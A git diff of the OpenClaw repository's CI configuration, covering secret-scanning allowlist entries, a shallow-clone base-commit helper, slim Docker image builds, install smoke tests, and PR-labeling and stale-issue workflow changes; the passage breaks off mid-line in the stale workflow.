diff --git a/.detect-secrets.cfg b/.detect-secrets.cfg index 38912567c9b..3ab7ebb69b5 100644 --- a/.detect-secrets.cfg +++ b/.detect-secrets.cfg @@ -7,10 +7,6 @@ [exclude-files] # pnpm lockfiles contain lots of high-entropy package integrity blobs. pattern = (^|/)pnpm-lock\.yaml$ -# Generated output and vendored assets. -pattern = (^|/)(dist|vendor)/ -# Local config file with allowlist patterns. -pattern = (^|/)\.detect-secrets\.cfg$ [exclude-lines] # Fastlane checks for private key marker; not a real key. @@ -28,3 +24,20 @@ pattern = "talk\.apiKey" pattern = === "string" # specific optional-chaining password check that didn't match the line above. pattern = typeof remote\?\.password === "string" +# Docker apt signing key fingerprint constant; not a secret. +pattern = OPENCLAW_DOCKER_GPG_FINGERPRINT= +# Credential matrix metadata field in docs JSON; not a secret value. +pattern = "secretShape": "(secret_input|sibling_ref)" +# Docs line describing API key rotation knobs; not a credential. +pattern = API key rotation \(provider-specific\): set `\*_API_KEYS` +# Docs line describing remote password precedence; not a credential. +pattern = passw[o]rd: `OPENCLAW_GATEWAY_PASSW[O]RD` -> `gateway\.auth\.passw[o]rd` -> `gateway\.remote\.passw[o]rd` +pattern = passw[o]rd: `OPENCLAW_GATEWAY_PASSW[O]RD` -> `gateway\.remote\.passw[o]rd` -> `gateway\.auth\.passw[o]rd` +# Test fixture starts a multiline fake private key; detector should ignore the header line. +pattern = const key = `-----BEGIN PRIVATE KEY----- +# Docs examples: literal placeholder API key snippets and shell heredoc helper. +pattern = export CUSTOM_API_K[E]Y="your-key" +pattern = grep -q 'N[O]DE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc \|\| cat >> ~/.bashrc <<'EOF' +pattern = env: \{ MISTRAL_API_K[E]Y: "sk-\.\.\." \}, +pattern = "ap[i]Key": "xxxxx", +pattern = ap[i]Key: "A[I]za\.\.\.", diff --git a/.github/actions/ensure-base-commit/action.yml b/.github/actions/ensure-base-commit/action.yml new file mode 100644 index 00000000000..b2c4322aa84 --- /dev/null +++ b/.github/actions/ensure-base-commit/action.yml @@ -0,0 +1,47 @@ +name: Ensure base commit +description: Ensure a shallow checkout has enough history to diff against a base SHA. +inputs: + base-sha: + description: Base commit SHA to diff against. + required: true + fetch-ref: + description: Branch or ref to deepen/fetch from origin when base-sha is missing. + required: true +runs: + using: composite + steps: + - name: Ensure base commit is available + shell: bash + env: + BASE_SHA: ${{ inputs.base-sha }} + FETCH_REF: ${{ inputs.fetch-ref }} + run: | + set -euo pipefail + + if [ -z "$BASE_SHA" ] || [[ "$BASE_SHA" =~ ^0+$ ]]; then + echo "No concrete base SHA available; skipping targeted fetch." + exit 0 + fi + + if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then + echo "Base commit already present: $BASE_SHA" + exit 0 + fi + + for deepen_by in 25 100 300; do + echo "Base commit missing; deepening $FETCH_REF by $deepen_by." + git fetch --no-tags --deepen="$deepen_by" origin "$FETCH_REF" || true + if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then + echo "Resolved base commit after deepening: $BASE_SHA" + exit 0 + fi + done + + echo "Base commit still missing; fetching full history for $FETCH_REF." + git fetch --no-tags origin "$FETCH_REF" || true + if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then + echo "Resolved base commit after full ref fetch: $BASE_SHA" + exit 0 + fi + + echo "Base commit still unavailable after fetch attempts: $BASE_SHA" diff --git a/.github/workflows/auto-response.yml b/.github/workflows/auto-response.yml index 4a572db52e6..8fb76b99b9e 100644 --- a/.github/workflows/auto-response.yml +++ b/.github/workflows/auto-response.yml @@ -35,6 +35,7 @@ jobs: github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }} script: | // Labels prefixed with "r:" are auto-response triggers. + const activePrLimit = 10; const rules = [ { label: "r: skill", @@ -48,6 +49,20 @@ jobs: message: "Please use [our support server](https://discord.gg/clawd) and ask in #help or #users-helping-users to resolve this, or follow the stuck FAQ at https://docs.openclaw.ai/help/faq#im-stuck-whats-the-fastest-way-to-get-unstuck.", }, + { + label: "r: no-ci-pr", + message: + "Please don't make PRs for test failures on main.\n\n" + + "The team is aware of those and will handle them directly on the codebase, not only fixing the tests but also investigating what the root cause is. Having to sift through test-fix-PRs (including some that have been out of date for weeks...) on top of that doesn't help. There are already way too many PRs for humans to manage; please don't make the flood worse.\n\n" + + "Thank you.", + }, + { + label: "r: too-many-prs", + close: true, + message: + `Closing this PR because the author has more than ${activePrLimit} active PRs in this repo. ` + + "Please reduce the active PR queue and reopen or resubmit once it is back under the limit. You can close your own PRs to get back under the limit.", + }, { label: "r: testflight", close: true, diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a30087d6ec9..6fe09412fab 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -21,31 +21,47 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 0 + fetch-depth: 1 + fetch-tags: false submodules: false + - name: Ensure docs-scope base commit + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }} + - name: Detect docs-only changes id: check uses: ./.github/actions/detect-docs-changes # Detect which heavy areas are touched so PRs can skip unrelated expensive jobs. - # Push to main keeps broad coverage. + # Push to main keeps broad coverage, but this job still needs to run so + # downstream jobs that list it in `needs` are not skipped. changed-scope: needs: [docs-scope] - if: github.event_name == 'pull_request' && needs.docs-scope.outputs.docs_only != 'true' + if: needs.docs-scope.outputs.docs_only != 'true' runs-on: blacksmith-16vcpu-ubuntu-2404 outputs: run_node: ${{ steps.scope.outputs.run_node }} run_macos: ${{ steps.scope.outputs.run_macos }} run_android: ${{ steps.scope.outputs.run_android }} + run_skills_python: ${{ steps.scope.outputs.run_skills_python }} run_windows: ${{ steps.scope.outputs.run_windows }} steps: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 0 + fetch-depth: 1 + fetch-tags: false submodules: false + - name: Ensure changed-scope base commit + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }} + - name: Detect changed scopes id: scope shell: bash @@ -71,6 +87,13 @@ jobs: with: submodules: false + - name: Ensure secrets base commit (PR fast path) + if: github.event_name == 'pull_request' + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event.pull_request.base.ref }} + - name: Setup Node environment uses: ./.github/actions/setup-node-env with: @@ -124,6 +147,9 @@ jobs: - runtime: node task: test command: pnpm canvas:a2ui:bundle && pnpm test + - runtime: node + task: extensions + command: pnpm test:extensions - runtime: node task: protocol command: pnpm protocol:check @@ -187,25 +213,13 @@ jobs: - name: Enforce safe external URL opening policy run: pnpm lint:ui:no-raw-window-open - # Report-only dead-code scans. Runs after scope detection and stores machine-readable - # results as artifacts for later triage before we enable hard gates. - # Temporarily disabled in CI while we process initial findings. + # Report-only dead-code scan. Runs after scope detection and stores the Knip + # report as an artifact so we can triage findings before enabling hard gates. deadcode: name: dead-code report needs: [docs-scope, changed-scope] - # if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true') - if: false + if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true') runs-on: blacksmith-16vcpu-ubuntu-2404 - strategy: - fail-fast: false - matrix: - include: - - tool: knip - command: pnpm deadcode:report:ci:knip - - tool: ts-prune - command: pnpm deadcode:report:ci:ts-prune - - tool: ts-unused-exports - command: pnpm deadcode:report:ci:ts-unused steps: - name: Checkout uses: actions/checkout@v4 @@ -218,13 +232,13 @@ jobs: install-bun: "false" use-sticky-disk: "true" - - name: Run ${{ matrix.tool }} dead-code scan - run: ${{ matrix.command }} + - name: Run Knip dead-code scan + run: pnpm deadcode:report:ci:knip - name: Upload dead-code results uses: actions/upload-artifact@v4 with: - name: dead-code-${{ matrix.tool }}-${{ github.run_id }} + name: dead-code-knip-${{ github.run_id }} path: .artifacts/deadcode # Validate docs (format, lint, broken links) only when docs files changed. @@ -249,7 +263,7 @@ jobs: skills-python: needs: [docs-scope, changed-scope] - if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true') + if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true' || needs.changed-scope.outputs.run_skills_python == 'true') runs-on: blacksmith-16vcpu-ubuntu-2404 steps: - name: Checkout @@ -289,20 +303,53 @@ jobs: install-deps: "false" - name: Setup Python + id: setup-python uses: actions/setup-python@v5 with: python-version: "3.12" + cache: "pip" + cache-dependency-path: | + pyproject.toml + .pre-commit-config.yaml + .github/workflows/ci.yml + + - name: Restore pre-commit cache + uses: actions/cache@v4 + with: + path: ~/.cache/pre-commit + key: pre-commit-${{ runner.os }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('.pre-commit-config.yaml') }} - name: Install pre-commit run: | python -m pip install --upgrade pip - python -m pip install pre-commit detect-secrets==1.5.0 + python -m pip install pre-commit - name: Detect secrets run: | - if ! detect-secrets scan --baseline .secrets.baseline; then - echo "::error::Secret scanning failed. See docs/gateway/security.md#secret-scanning-detect-secrets" - exit 1 + set -euo pipefail + + if [ "${{ github.event_name }}" = "push" ]; then + echo "Running full detect-secrets scan on push." + pre-commit run --all-files detect-secrets + exit 0 + fi + + BASE="${{ github.event.pull_request.base.sha }}" + changed_files=() + if git rev-parse --verify "$BASE^{commit}" >/dev/null 2>&1; then + while IFS= read -r path; do + [ -n "$path" ] || continue + [ -f "$path" ] || continue + changed_files+=("$path") + done < <(git diff --name-only --diff-filter=ACMR "$BASE" HEAD) + fi + + if [ "${#changed_files[@]}" -gt 0 ]; then + echo "Running detect-secrets on ${#changed_files[@]} changed file(s)." + pre-commit run detect-secrets --files "${changed_files[@]}" + else + echo "Falling back to full detect-secrets scan." + pre-commit run --all-files detect-secrets fi - name: Detect committed private keys @@ -414,9 +461,11 @@ jobs: cache-key-suffix: "node22" # Sticky disk mount currently retries/fails on every shard and adds ~50s # before install while still yielding zero pnpm store reuse. + # Try exact-key actions/cache restores instead to recover store reuse + # without the sticky-disk mount penalty. use-sticky-disk: "false" use-restore-keys: "false" - use-actions-cache: "false" + use-actions-cache: "true" - name: Runtime versions run: | @@ -435,7 +484,9 @@ jobs: which node node -v pnpm -v - pnpm install --frozen-lockfile --prefer-offline --ignore-scripts=false --config.engine-strict=false --config.enable-pre-post-scripts=true || pnpm install --frozen-lockfile --prefer-offline --ignore-scripts=false --config.engine-strict=false --config.enable-pre-post-scripts=true + # Persist Windows-native postinstall outputs in the pnpm store so restored + # caches can skip repeated rebuild/download work on later shards/runs. + pnpm install --frozen-lockfile --prefer-offline --ignore-scripts=false --config.engine-strict=false --config.enable-pre-post-scripts=true --config.side-effects-cache=true || pnpm install --frozen-lockfile --prefer-offline --ignore-scripts=false --config.engine-strict=false --config.enable-pre-post-scripts=true --config.side-effects-cache=true - name: Configure test shard (Windows) if: matrix.task == 'test' diff --git a/.github/workflows/docker-release.yml b/.github/workflows/docker-release.yml index 7de868a9535..2cc29748c91 100644 --- a/.github/workflows/docker-release.yml +++ b/.github/workflows/docker-release.yml @@ -22,14 +22,15 @@ env: IMAGE_NAME: ${{ github.repository }} jobs: - # Build amd64 image + # Build amd64 images (default + slim share the build stage cache) build-amd64: runs-on: blacksmith-16vcpu-ubuntu-2404 permissions: packages: write contents: read outputs: - image-digest: ${{ steps.build.outputs.digest }} + digest: ${{ steps.build.outputs.digest }} + slim-digest: ${{ steps.build-slim.outputs.digest }} steps: - name: Checkout uses: actions/checkout@v4 @@ -52,12 +53,15 @@ jobs: run: | set -euo pipefail tags=() + slim_tags=() if [[ "${GITHUB_REF}" == "refs/heads/main" ]]; then tags+=("${IMAGE}:main-amd64") + slim_tags+=("${IMAGE}:main-slim-amd64") fi if [[ "${GITHUB_REF}" == refs/tags/v* ]]; then version="${GITHUB_REF#refs/tags/v}" tags+=("${IMAGE}:${version}-amd64") + slim_tags+=("${IMAGE}:${version}-slim-amd64") fi if [[ ${#tags[@]} -eq 0 ]]; then echo "::error::No amd64 tags resolved for ref ${GITHUB_REF}" @@ -68,6 +72,11 @@ jobs: printf "%s\n" "${tags[@]}" echo "EOF" } >> "$GITHUB_OUTPUT" + { + echo "slim<> "$GITHUB_OUTPUT" - name: Resolve OCI labels (amd64) id: labels @@ -101,14 +110,28 @@ jobs: provenance: false push: true - # Build arm64 image + - name: Build and push amd64 slim image + id: build-slim + uses: useblacksmith/build-push-action@v2 + with: + context: . + platforms: linux/amd64 + build-args: | + OPENCLAW_VARIANT=slim + tags: ${{ steps.tags.outputs.slim }} + labels: ${{ steps.labels.outputs.value }} + provenance: false + push: true + + # Build arm64 images (default + slim share the build stage cache) build-arm64: runs-on: blacksmith-16vcpu-ubuntu-2404-arm permissions: packages: write contents: read outputs: - image-digest: ${{ steps.build.outputs.digest }} + digest: ${{ steps.build.outputs.digest }} + slim-digest: ${{ steps.build-slim.outputs.digest }} steps: - name: Checkout uses: actions/checkout@v4 @@ -131,12 +154,15 @@ jobs: run: | set -euo pipefail tags=() + slim_tags=() if [[ "${GITHUB_REF}" == "refs/heads/main" ]]; then tags+=("${IMAGE}:main-arm64") + slim_tags+=("${IMAGE}:main-slim-arm64") fi if [[ "${GITHUB_REF}" == refs/tags/v* ]]; then version="${GITHUB_REF#refs/tags/v}" tags+=("${IMAGE}:${version}-arm64") + slim_tags+=("${IMAGE}:${version}-slim-arm64") fi if [[ ${#tags[@]} -eq 0 ]]; then echo "::error::No arm64 tags resolved for ref ${GITHUB_REF}" @@ -147,6 +173,11 @@ jobs: printf "%s\n" "${tags[@]}" echo "EOF" } >> "$GITHUB_OUTPUT" + { + echo "slim<> "$GITHUB_OUTPUT" - name: Resolve OCI labels (arm64) id: labels @@ -180,7 +211,20 @@ jobs: provenance: false push: true - # Create multi-platform manifest + - name: Build and push arm64 slim image + id: build-slim + uses: useblacksmith/build-push-action@v2 + with: + context: . + platforms: linux/arm64 + build-args: | + OPENCLAW_VARIANT=slim + tags: ${{ steps.tags.outputs.slim }} + labels: ${{ steps.labels.outputs.value }} + provenance: false + push: true + + # Create multi-platform manifests create-manifest: runs-on: blacksmith-16vcpu-ubuntu-2404 permissions: @@ -206,14 +250,18 @@ jobs: run: | set -euo pipefail tags=() + slim_tags=() if [[ "${GITHUB_REF}" == "refs/heads/main" ]]; then tags+=("${IMAGE}:main") + slim_tags+=("${IMAGE}:main-slim") fi if [[ "${GITHUB_REF}" == refs/tags/v* ]]; then version="${GITHUB_REF#refs/tags/v}" tags+=("${IMAGE}:${version}") + slim_tags+=("${IMAGE}:${version}-slim") if [[ "$version" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[0-9]+)?$ ]]; then tags+=("${IMAGE}:latest") + slim_tags+=("${IMAGE}:slim") fi fi if [[ ${#tags[@]} -eq 0 ]]; then @@ -225,8 +273,13 @@ jobs: printf "%s\n" "${tags[@]}" echo "EOF" } >> "$GITHUB_OUTPUT" + { + echo "slim<> "$GITHUB_OUTPUT" - - name: Create and push manifest + - name: Create and push default manifest shell: bash run: | set -euo pipefail @@ -237,5 +290,19 @@ jobs: args+=("-t" "$tag") done docker buildx imagetools create "${args[@]}" \ - ${{ needs.build-amd64.outputs.image-digest }} \ - ${{ needs.build-arm64.outputs.image-digest }} + ${{ needs.build-amd64.outputs.digest }} \ + ${{ needs.build-arm64.outputs.digest }} + + - name: Create and push slim manifest + shell: bash + run: | + set -euo pipefail + mapfile -t tags <<< "${{ steps.tags.outputs.slim }}" + args=() + for tag in "${tags[@]}"; do + [ -z "$tag" ] && continue + args+=("-t" "$tag") + done + docker buildx imagetools create "${args[@]}" \ + ${{ needs.build-amd64.outputs.slim-digest }} \ + ${{ needs.build-arm64.outputs.slim-digest }} diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 1d36523d60a..36f64d2d6ad 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -19,7 +19,14 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 0 + fetch-depth: 1 + fetch-tags: false + + - name: Ensure docs-scope base commit + uses: ./.github/actions/ensure-base-commit + with: + base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }} - name: Detect docs-only changes id: check @@ -33,36 +40,79 @@ jobs: - name: Checkout CLI uses: actions/checkout@v4 - - name: Setup Node.js - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 - with: - node-version: 22.x - check-latest: true - - - name: Setup pnpm + cache store - uses: ./.github/actions/setup-pnpm-store-cache - with: - pnpm-version: "10.23.0" - cache-key-suffix: "node22" - use-sticky-disk: "true" - - - name: Install pnpm deps (minimal) - run: pnpm install --ignore-scripts --frozen-lockfile - - name: Set up Docker Builder uses: useblacksmith/setup-docker-builder@v1 + - name: Build root Dockerfile smoke image + uses: useblacksmith/build-push-action@v2 + with: + context: . + file: ./Dockerfile + tags: openclaw-dockerfile-smoke:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-root-dockerfile + cache-to: type=gha,mode=max,scope=install-smoke-root-dockerfile + - name: Run root Dockerfile CLI smoke run: | - docker build -t openclaw-dockerfile-smoke:local -f Dockerfile . docker run --rm --entrypoint sh openclaw-dockerfile-smoke:local -lc 'which openclaw && openclaw --version' + # This smoke only validates that the build-arg path preinstalls selected + # extension deps without breaking image build or basic CLI startup. It + # does not exercise runtime loading/registration of diagnostics-otel. + - name: Build extension Dockerfile smoke image + uses: useblacksmith/build-push-action@v2 + with: + context: . + file: ./Dockerfile + build-args: | + OPENCLAW_EXTENSIONS=diagnostics-otel + tags: openclaw-ext-smoke:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-root-dockerfile-ext + cache-to: type=gha,mode=max,scope=install-smoke-root-dockerfile-ext + + - name: Smoke test Dockerfile with extension build arg + run: | + docker run --rm --entrypoint sh openclaw-ext-smoke:local -lc 'which openclaw && openclaw --version' + + - name: Build installer smoke image + uses: useblacksmith/build-push-action@v2 + with: + context: ./scripts/docker + file: ./scripts/docker/install-sh-smoke/Dockerfile + tags: openclaw-install-smoke:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-installer-root + cache-to: type=gha,mode=max,scope=install-smoke-installer-root + + - name: Build installer non-root image + if: github.event_name != 'pull_request' + uses: useblacksmith/build-push-action@v2 + with: + context: ./scripts/docker + file: ./scripts/docker/install-sh-nonroot/Dockerfile + tags: openclaw-install-nonroot:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-installer-nonroot + cache-to: type=gha,mode=max,scope=install-smoke-installer-nonroot + - name: Run installer docker tests env: CLAWDBOT_INSTALL_URL: https://openclaw.ai/install.sh CLAWDBOT_INSTALL_CLI_URL: https://openclaw.ai/install-cli.sh CLAWDBOT_NO_ONBOARD: "1" CLAWDBOT_INSTALL_SMOKE_SKIP_CLI: "1" + CLAWDBOT_INSTALL_SMOKE_SKIP_IMAGE_BUILD: "1" + CLAWDBOT_INSTALL_NONROOT_SKIP_IMAGE_BUILD: ${{ github.event_name == 'pull_request' && '0' || '1' }} CLAWDBOT_INSTALL_SMOKE_SKIP_NONROOT: ${{ github.event_name == 'pull_request' && '1' || '0' }} CLAWDBOT_INSTALL_SMOKE_SKIP_PREVIOUS: "1" - run: pnpm test:install:smoke + run: bash scripts/test-install-sh-docker.sh diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml index ed86b4c67bb..2e8e1ec59b0 100644 --- a/.github/workflows/labeler.yml +++ b/.github/workflows/labeler.yml @@ -142,10 +142,10 @@ jobs: } const repo = `${context.repo.owner}/${context.repo.repo}`; - const trustedLabel = "trusted-contributor"; - const experiencedLabel = "experienced-contributor"; - const trustedThreshold = 4; - const experiencedThreshold = 10; + // const trustedLabel = "trusted-contributor"; + // const experiencedLabel = "experienced-contributor"; + // const trustedThreshold = 4; + // const experiencedThreshold = 10; let isMaintainer = false; try { @@ -170,36 +170,182 @@ jobs: return; } - const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; - let mergedCount = 0; + // trusted-contributor and experienced-contributor labels disabled. + // const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; + // let mergedCount = 0; + // try { + // const merged = await github.rest.search.issuesAndPullRequests({ + // q: mergedQuery, + // per_page: 1, + // }); + // mergedCount = merged?.data?.total_count ?? 0; + // } catch (error) { + // if (error?.status !== 422) { + // throw error; + // } + // core.warning(`Skipping merged search for ${login}; treating as 0.`); + // } + // + // if (mergedCount >= experiencedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.pull_request.number, + // labels: [experiencedLabel], + // }); + // return; + // } + // + // if (mergedCount >= trustedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.pull_request.number, + // labels: [trustedLabel], + // }); + // } + - name: Apply too-many-prs label + uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 + with: + github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }} + script: | + const pullRequest = context.payload.pull_request; + if (!pullRequest) { + return; + } + + const activePrLimitLabel = "r: too-many-prs"; + const activePrLimit = 10; + const labelColor = "B60205"; + const labelDescription = `Author has more than ${activePrLimit} active PRs in this repo`; + const authorLogin = pullRequest.user?.login; + if (!authorLogin) { + return; + } + + const labelNames = new Set( + (pullRequest.labels ?? []) + .map((label) => (typeof label === "string" ? label : label?.name)) + .filter((name) => typeof name === "string"), + ); + + const ensureLabelExists = async () => { + try { + await github.rest.issues.getLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + name: activePrLimitLabel, + }); + } catch (error) { + if (error?.status !== 404) { + throw error; + } + await github.rest.issues.createLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + name: activePrLimitLabel, + color: labelColor, + description: labelDescription, + }); + } + }; + + const isPrivilegedAuthor = async () => { + if (pullRequest.author_association === "OWNER") { + return true; + } + + let isMaintainer = false; + try { + const membership = await github.rest.teams.getMembershipForUserInOrg({ + org: context.repo.owner, + team_slug: "maintainer", + username: authorLogin, + }); + isMaintainer = membership?.data?.state === "active"; + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + + if (isMaintainer) { + return true; + } + + try { + const permission = await github.rest.repos.getCollaboratorPermissionLevel({ + owner: context.repo.owner, + repo: context.repo.repo, + username: authorLogin, + }); + const roleName = (permission?.data?.role_name ?? "").toLowerCase(); + return roleName === "admin" || roleName === "maintain"; + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + + return false; + }; + + if (await isPrivilegedAuthor()) { + if (labelNames.has(activePrLimitLabel)) { + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pullRequest.number, + name: activePrLimitLabel, + }); + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } + } + return; + } + + let openPrCount = 0; try { - const merged = await github.rest.search.issuesAndPullRequests({ - q: mergedQuery, + const result = await github.rest.search.issuesAndPullRequests({ + q: `repo:${context.repo.owner}/${context.repo.repo} is:pr is:open author:${authorLogin}`, per_page: 1, }); - mergedCount = merged?.data?.total_count ?? 0; + openPrCount = result?.data?.total_count ?? 0; } catch (error) { if (error?.status !== 422) { throw error; } - core.warning(`Skipping merged search for ${login}; treating as 0.`); + core.warning(`Skipping open PR count for ${authorLogin}; treating as 0.`); } - if (mergedCount >= experiencedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.pull_request.number, - labels: [experiencedLabel], - }); + if (openPrCount > activePrLimit) { + await ensureLabelExists(); + if (!labelNames.has(activePrLimitLabel)) { + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pullRequest.number, + labels: [activePrLimitLabel], + }); + } return; } - if (mergedCount >= trustedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.pull_request.number, - labels: [trustedLabel], - }); + if (labelNames.has(activePrLimitLabel)) { + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pullRequest.number, + name: activePrLimitLabel, + }); + } catch (error) { + if (error?.status !== 404) { + throw error; + } + } } backfill-pr-labels: @@ -241,10 +387,10 @@ jobs: const sizeLabels = ["size: XS", "size: S", "size: M", "size: L", "size: XL"]; const labelColor = "b76e79"; - const trustedLabel = "trusted-contributor"; - const experiencedLabel = "experienced-contributor"; - const trustedThreshold = 4; - const experiencedThreshold = 10; + // const trustedLabel = "trusted-contributor"; + // const experiencedLabel = "experienced-contributor"; + // const trustedThreshold = 4; + // const experiencedThreshold = 10; const contributorCache = new Map(); @@ -294,27 +440,28 @@ jobs: return "maintainer"; } - const mergedQuery = `repo:${repoFull} is:pr is:merged author:${login}`; - let mergedCount = 0; - try { - const merged = await github.rest.search.issuesAndPullRequests({ - q: mergedQuery, - per_page: 1, - }); - mergedCount = merged?.data?.total_count ?? 0; - } catch (error) { - if (error?.status !== 422) { - throw error; - } - core.warning(`Skipping merged search for ${login}; treating as 0.`); - } + // trusted-contributor and experienced-contributor labels disabled. + // const mergedQuery = `repo:${repoFull} is:pr is:merged author:${login}`; + // let mergedCount = 0; + // try { + // const merged = await github.rest.search.issuesAndPullRequests({ + // q: mergedQuery, + // per_page: 1, + // }); + // mergedCount = merged?.data?.total_count ?? 0; + // } catch (error) { + // if (error?.status !== 422) { + // throw error; + // } + // core.warning(`Skipping merged search for ${login}; treating as 0.`); + // } - let label = null; - if (mergedCount >= experiencedThreshold) { - label = experiencedLabel; - } else if (mergedCount >= trustedThreshold) { - label = trustedLabel; - } + const label = null; + // if (mergedCount >= experiencedThreshold) { + // label = experiencedLabel; + // } else if (mergedCount >= trustedThreshold) { + // label = trustedLabel; + // } contributorCache.set(login, label); return label; @@ -479,10 +626,10 @@ jobs: } const repo = `${context.repo.owner}/${context.repo.repo}`; - const trustedLabel = "trusted-contributor"; - const experiencedLabel = "experienced-contributor"; - const trustedThreshold = 4; - const experiencedThreshold = 10; + // const trustedLabel = "trusted-contributor"; + // const experiencedLabel = "experienced-contributor"; + // const trustedThreshold = 4; + // const experiencedThreshold = 10; let isMaintainer = false; try { @@ -507,34 +654,35 @@ jobs: return; } - const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; - let mergedCount = 0; - try { - const merged = await github.rest.search.issuesAndPullRequests({ - q: mergedQuery, - per_page: 1, - }); - mergedCount = merged?.data?.total_count ?? 0; - } catch (error) { - if (error?.status !== 422) { - throw error; - } - core.warning(`Skipping merged search for ${login}; treating as 0.`); - } - - if (mergedCount >= experiencedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.issue.number, - labels: [experiencedLabel], - }); - return; - } - - if (mergedCount >= trustedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.issue.number, - labels: [trustedLabel], - }); - } + // trusted-contributor and experienced-contributor labels disabled. + // const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; + // let mergedCount = 0; + // try { + // const merged = await github.rest.search.issuesAndPullRequests({ + // q: mergedQuery, + // per_page: 1, + // }); + // mergedCount = merged?.data?.total_count ?? 0; + // } catch (error) { + // if (error?.status !== 422) { + // throw error; + // } + // core.warning(`Skipping merged search for ${login}; treating as 0.`); + // } + // + // if (mergedCount >= experiencedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.issue.number, + // labels: [experiencedLabel], + // }); + // return; + // } + // + // if (mergedCount >= trustedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.issue.number, + // labels: [trustedLabel], + // }); + // } diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml index 4394ad9947c..e6feef90e6b 100644 --- a/.github/workflows/stale.yml +++ b/.github/workflows/stale.yml @@ -22,11 +22,13 @@ jobs: private-key: ${{ secrets.GH_APP_PRIVATE_KEY }} - uses: actions/create-github-app-token@d72941d797fd3113feb6b93fd0dec494b13a2547 # v1 id: app-token-fallback - if: steps.app-token.outcome == 'failure' + continue-on-error: true with: app-id: "2971289" private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }} - - name: Mark stale issues and pull requests + - name: Mark stale issues and pull requests (primary) + id: stale-primary + continue-on-error: true uses: actions/stale@v9 with: repo-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }} @@ -38,7 +40,64 @@ jobs: stale-pr-label: stale exempt-issue-labels: enhancement,maintainer,pinned,security,no-stale exempt-pr-labels: maintainer,no-stale - operations-per-run: 10000 + operations-per-run: 2000 + ascending: true + exempt-all-assignees: true + remove-stale-when-updated: true + stale-issue-message: | + This issue has been automatically marked as stale due to inactivity. + Please add updates or it will be closed. + stale-pr-message: | + This pull request has been automatically marked as stale due to inactivity. + Please add updates or it will be closed. + close-issue-message: | + Closing due to inactivity. + If this is still an issue, please retry on the latest OpenClaw release and share updated details. + If you are absolutely sure it still happens on the latest release, open a new issue with fresh repro steps. + close-issue-reason: not_planned + close-pr-message: | + Closing due to inactivity. + If you believe this PR should be revived, post in #pr-thunderdome-dangerzone on Discord to talk to a maintainer. + That channel is the escape hatch for high-quality PRs that get auto-closed. + - name: Check stale state cache + id: stale-state + if: 